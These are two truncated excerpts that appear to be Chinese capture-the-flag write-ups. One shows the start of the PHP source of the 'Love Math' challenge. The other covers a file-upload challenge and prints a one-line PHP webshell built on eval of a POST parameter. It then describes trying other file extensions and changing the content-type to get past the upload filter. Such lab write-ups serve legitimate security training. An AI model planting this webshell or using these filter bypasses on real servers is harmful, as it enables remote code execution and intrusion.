buuctf-[CISCN 2019 初赛]Love Math（小宇特详解） 1.先看题目 <?phperror_reporting(0);//听说你很喜欢数学，不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){show_source(__FILE__);}else{//例子 c=20-1$content = $_GET['c'];if (strlen($co

buuctf-SUCTF 2019 CheckIn（小宇特详解） 咋一看这是一道文件上传 这里先尝试一下上传一个php文件 里面写一个最简单的一句话木马就行 <?php eval(@$_POST['shell']);?> 上传试试 回显illegal suffix!(非法后缀) 这里尝试一下修改文件拓展名php5,phtml，等都没有成功 然后进行抓包，修改content-typ